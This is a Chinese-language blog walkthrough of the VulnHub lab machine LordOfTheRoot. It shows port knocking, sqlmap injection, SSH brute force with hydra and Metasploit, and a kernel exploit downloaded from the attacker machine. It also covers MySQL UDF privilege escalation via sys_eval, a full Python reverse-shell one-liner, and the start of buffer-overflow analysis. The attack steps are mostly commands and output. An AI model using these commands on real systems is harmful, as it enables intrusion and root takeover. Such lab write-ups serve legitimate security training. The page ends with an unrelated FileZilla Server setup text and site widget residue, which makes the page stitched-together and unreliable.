vulnhub靶场之 LordOfTheRoot_1.0.1

LordOfTheRoot_1.0.1

namp简单使用

namp 192.168.5.0/24 -sP		探测目标主机存活情况
namp 192.168.5.0/24 -O		识别操作系统

image-20220419224451932

namp 192.168.5.153 -sS -sV -A -T4 -p-
-p- 	全端口扫描 1-65535 但是比较耗时间
-sS		SYN扫描,只完成三次握手前两次,很少有系统记入日志,默认使用,需要root(admin)权限
-sV		探测端口号版本
-A 		全面系统检查,使用脚本检测,扫描等
-T4		针对TCP端口进制动态扫描延迟重10ms

image-20220419225411512

得到 22 端口 ssh 操作系统linux3.X|4.X

ssh查看

ssh ssh@192.168.5.153

image-20220419225602030

发现提示 knock Easy as 1,2,3 意思是敲击三次,端口碰撞

端口碰撞

protknocking

端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制

要求

端口碰撞要求知道端口碰撞的序列,否则爆破机会很小
Easy as 1,2,3 碰撞序列为1,2,3

knock

apt install knockd
man knock
knock 192.168.5.153 1 2 3 -v

image-20220421130322033

nmap 192.168.5.153 -sS -sV -A -T4 -p-

image-20220421130737873

端口碰撞后开启的端口 只有碰撞的主机ip可以访问,其他未碰撞主机还是无法访问.发现开启了1337端口

image-20220421134040187

image-20220421134709399

robots.txt文件

image-20220421134725147

image-20220421135119832

sqlmap注入

image-20220421135352289

image-20220421135623571

抓个包sqlmap跑一下

sqlmap -o -u http://192.168.5.153:1337/978345210/index.php --forms --batch --dbs --fresh-querie
-------------
Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试
-------------
sqlmap -r s.txt --batch --current-db

image-20220421141836941

sqlmap -r s.txt --batch -D Webapp --tables

image-20220421143207348

ssh爆破

hydra爆破ssh

image-20220421142653086

image-20220421142757734

msf爆破ssh

若有用户名和密码字段的话,使用auxiliary/scanner/ssh/ssh_login模块.若不知道,使用auxiliary/scanner/shh/ssh_enumusers模块先探测用户名是否存在

https://blog.csdn.net/huweiliyi/article/details/105590291

msfconsole

image-20220421143445855

search ssh_login

image-20220421143509141

use 0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OvNTKG1n-1665283160098)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220421143536165.png)]

show options

image-20220421143623948

set rhost 192.168.5.153
set user_file users.txt
set pass_file passwd.txt
exploit

image-20220421145225385

sessions -i
sessions 3
id

提权

exp提权

ssh登录

ssh smeagol@192.168.5.153
MyPreciousR00t

image-20220421144927449

image-20220421144940921

id
uname -a	查看主机操作系统 内核信息
hostnamectl	

image-20220421145305107

smeagol@LordOfTheRoot:~$ id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
smeagol@LordOfTheRoot:~$ hostnamectl
   Static hostname: LordOfTheRoot
         Icon name: computer-vm
           Chassis: vm
           Boot ID: 5bd2fb73a2ea4cd4b96b83a803062787
  Operating System: Ubuntu 14.04.3 LTS
            Kernel: Linux 3.19.0-25-generic
      Architecture: i686

image-20220421145410665

https://www.exploit-db.com/exploits/39166

image-20220421145655383

使用exploit

background	返回msf
y

image-20220421145903723

searchsploit 39166		在kali本地exploit库搜索

image-20220421150157574

locate linux/local/39166.c	查看位置

image-20220421150428115

cp /usr/share/exploitdb/exploits/linux/local/39166.c ./wanan 复制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-le9YjJ2r-1665283160101)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220421150527324.png)]

python2 -m SimpleHTTPServer 8081	开启http服务

image-20220421150655148

wget http://192.168.5.152:8081/39166.c	下载exp

image-20220421150948354

gcc 39177.c -o 39166 

image-20220421151142289

image-20220421151241410

udf提权

条件

  • root 权限运行mysql
  • 在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
  • 在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
  • udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数

mysql版本,权限

dpkg -l | grep mysql	查看历史安装包版本
5.5.44

image-20220421151756110

ps aux | grep mysql	查看mysql进程信息
root 权限

image-20220421151826799

mysql 密码

cd /var/www/978345210/
ls
cat login.php

image-20220421152029007

用户名		root
密码		darkshadow
mysql -u root -p

image-20220421152149065

查看能否udf提权

show global variables like 'secure%';

image-20220421152334990

可以提权

show variables like 'plugin%';

image-20220421152447971

查看能否远程登录

use mysql;
select user,host from user;
不能远程登录

image-20220421152708456

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。
BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob)
除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型           大小(单位:字节) 
TinyBlob      最大 255 
Blob          最大 65K 
MediumBlob    最大 16M 
LongBlob      最大 4G 


可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。

或者udf exploit提佛那个的函数执行系统命令
do_system 

本次使用lib_mysqludf_sys
locate lib_mysqludf_sys 查看lib_mysqludf_sys位置

image-20220421153048709

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so ./
mv lib_mysqludf_sys_32.so udf.so	重命名
du udf.so	看大小
python2 -m SimpleHTTPServer 8081	起服务

image-20220421153410006

cd /tmp
wget http://192.168.5.152:8081/udf.so	下载到/tmp目录下

image-20220421153934560

mysql -u root -p 
create table udf (line blob); 创建,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));	在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; #
将udf文件内容传入新建的udf.so文件中,路径根据自己的@@basedir修改
create function sys_eval returns string soname 'udf.so'; 	创建自定义函数
select * from mysql.func; 	查看函数
select sys_eval('chmod u+s /usr/bin/find');
调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
exit

image-20220421160526266

image-20220421161235171

find / -exec '/bin/sh' \; 执行提权

/ !此时是没有框架的 要是想反弹shell 需要有框架
// python -c "import pty;pty.spawn(\"/bin/bash\")"  获得框架
// 现在主机用 nc 监听端口有  nc -lvp port
// 在使用反弹shell命令进行反弹
// python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("监听主机ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


cd /root
ls
cat Flag.txt

image-20220421161648399

缓冲区(buff) 看不懂

https://blog.csdn.net/WHHLS/article/details/123860109

标准函数
stycpy() strcat() sprintf() vsprintf() gets() scanf()

ALSR

SECRET文件夹目录 是缓冲区溢出的一个标志目录

find / -name SECRET 2>/dev/null  其中2>/dev/null 忽略警告值

image-20220421162839160

在该目录下发现三个子目录每一个子目录有一个file文件

有的缓冲区会设置ALSRJ机制 即随机化

0 = 关闭
1 = 半随机 共享库 栈 mmap() 以及VDSO 将被随机化
2 = 全随机
cat /proc/sys/kernel/randomize_va_space 查看
2 全随机

image-20220421163042849

根据文件夹大小来判断 两个为7.2k 一个为5.1k 5.1k是主要文件 由于会随机变化 将目录用base64编码 在转码保存到攻击机

image-20220421163329881

image-20220421163416420

vim base64.txt
gedit base64.txt
cat base64.txt | base64 -d > file

image-20220421163904644

image-20220421164002382

chmod u+x file	给文件执行权
使用python命令快速模糊判断多少个字符会导致程序崩溃.python有-c参数,允许代码直接从shell执行
./file $(python2 -c 'print "A" * 100')

image-20220421164737678

GDB-peda

GDB进行分析
apt install gdb
git clone https://github.com/longld/peda.git
echo "source ~/wanan/peda/peda.py" >> ~/.gdbinit	想要用某一个插件的时候,只要输入对应命令就行!
gdb file	gdb分析file文件

image-20220421165339951

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 	当我们不确定界址时 可以生成乱码进行填充
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
FileZilla Server 1.0.1 是一个功能强大的FTP服务器软件,用于在计算机或服务器上搭建FTP服务器。以下是关于如何设置FileZilla Server 1.0.1的说明: 1. 下载并安装:首先,从官方网站上下载FileZilla Server 1.0.1的安装程序。然后,运行安装程序并按照提示完成安装过程。 2. 启动软件:安装完成后,启动FileZilla Server 1.0.1。在启动界面上,你会看到"Welcome to the FileZilla Server Installation Wizard"(欢迎使用FileZilla Server安装向导)。 3. 创建管理员帐户:首次运行软件时,你需要创建一个管理员帐户。点击"Next"(下一步),然后在"Server Configuration"(服务器配置)界面上选择"Create a new user called 'admin'"(创建名为 'admin' 的新用户),并输入相应的密码。点击"Next"(下一步)完成管理员帐户的创建。 4. 配置FTP服务器:在"Server Configuration"(服务器配置)界面上,你可以设置FTP服务器端口、传输模式、加密选项等。根据你的需求进行相应的配置,并点击"Next"(下一步)。 5. 选择默认共享文件夹:在"Shared Folders"(共享文件夹)界面上,你可以选择默认的共享文件夹。你可以点击"Add"(添加)按钮添加需要共享的文件夹,并为每个文件夹指定相应的权限。点击"Next"(下一步)。 6. 配置访问权限:在"User Settings"(用户设置)界面上,你可以为各个用户定义不同的访问权限。点击"Add"(添加)按钮,输入相应的用户名和密码,并为其选择或创建所需的目录权限。点击"Next"(下一步)。 7. 完成设置:在"Groups"(组)界面上,你可以创建用户组,并将用户分配到相应的组中。然后,点击"Next"(下一步)。 8. 确认设置:在"Confirmation"(确认)界面上,你可以查看并确认所做的设置。如果一切都正确,点击"Install"(安装)按钮开始安装。 9. 完成安装:安装完成后,点击"Done"(完成)按钮退出安装向导。你的FTP服务器已经成功设置和安装。 请注意,以上只是基本设置过程的概述。根据你的具体需求,你还可以进一步配置和调整FileZilla Server 1.0.1以满足你的要求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值